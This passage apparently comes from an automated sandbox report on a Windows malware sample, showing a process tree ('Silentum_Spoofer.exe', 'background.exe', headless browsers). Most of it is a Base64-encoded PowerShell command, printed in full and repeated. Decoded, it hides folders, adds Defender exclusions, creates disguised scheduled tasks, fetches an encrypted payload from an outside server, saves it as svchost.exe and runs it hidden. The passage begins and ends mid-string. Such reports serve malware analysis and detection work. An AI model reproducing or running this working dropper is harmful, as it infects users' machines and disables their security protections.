QB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11336
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        
        PID:11500
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        
        PID:11524
- - C:\Windows\system32\a\Silentum_Spoofer.exe
    Silentum_Spoofer.exe
    3⤵
    PID:4728
  - - C:\Users\Admin\AppData\Local\56e8c98e-a828-4fb6-bb1a-c68a5a2b1006\background.exe
      "C:\Users\Admin\AppData\Local\56e8c98e-a828-4fb6-bb1a-c68a5a2b1006\background.exe"
      4⤵
      PID:11956
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
        5⤵
        
        PID:14092
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        
        PID:14104
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        
        PID:14116
- - C:\Windows\system32\a\Silentum_Spoofer.exe
    Silentum_Spoofer.exe
    3⤵
    PID:3012
  - - C:\Users\Admin\AppData\Local\a4579896-17b9-46bc-89da-e415c645d2b8\background.exe
      "C:\Users\Admin\AppData\Local\a4579896-17b9-46bc-89da-e415c645d2b8\background.exe"
      4⤵
      PID:9668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
        5⤵
        
        PID:5076
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACc